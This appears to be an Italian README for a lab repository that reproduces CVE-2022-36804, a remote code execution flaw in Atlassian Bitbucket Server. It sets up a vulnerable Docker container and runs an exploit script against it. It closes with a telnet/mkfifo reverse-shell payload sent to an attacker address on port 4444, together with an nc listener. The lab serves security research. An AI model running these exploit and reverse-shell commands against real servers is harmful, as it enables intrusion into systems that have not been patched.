
⚠️ Solo per scopi educativi e di ricerca sulla sicurezza autorizzati
Molto grato all'autore originale della PoC Walnut Security Services Pvt. Ltd
Molteplici endpoint API in Atlassian Bitbucket Server and Data Center dalla versione 7.0.0 precedente alla 7.6.17, dalla versione 7.7.0 precedente alla 7.17.10, dalla versione 7.18.0 precedente alla 7.21.4, dalla versione 8.0.0 precedente alla 8.0.3, dalla versione 8.1.0 precedente alla 8.1.3, dalla versione 8.2.0 precedente alla 8.2.2 e dalla versione 8.3.0 precedente alla 8.3.1 consentono a utenti remoti con permessi di lettura su un repository Bitbucket pubblico o privato di eseguire codice arbitrario inviando una richiesta HTTP dannosa. Questa vulnerabilità è stata segnalata tramite il nostro programma Bug Bounty da TheGrandPew.
Per prima cosa, clona il repository
git clone https://github.com/asepsaepdin/CVE-2022-36804.git
Cambia directory
cd CVE-2022-36804
Costruisci il container vulnerabile
docker build -t CVE-2022-36804 .
Esegui il container effimero
docker run --rm -it --name CVE-2022-36804 CVE-2022-36804
Controlla l'indirizzo IP del container
docker inspect CVE-2022-36804 | grep "IPAddress"
Configura Atlassian Bitbucket e crea un nuovo repository pubblico aprendo l'URL: http://172.17.0.3:7990
Verifica l'esecuzione remota di codice (RCE)
python3 cve-2022-36804.py -u http://172.17.0.3:7990
Verifica la RCE con un comando personalizzato (cmd)
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id
Dal punto di vista di un attaccante, l'esecuzione remota di codice è fondamentale per ottenere l'accesso a una shell interattiva. Quindi, eseguire il seguente comando attiverebbe una reverse shell telnet su TCP basata su bash verso il sistema dell'attaccante sulla porta 4444/tcp:
python3 cve-2022-36804.py -u http://172.17.0.3:7990 -c 'TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.1 4444 0<$TF | sh 1>$TF'
nc -nlvp 4444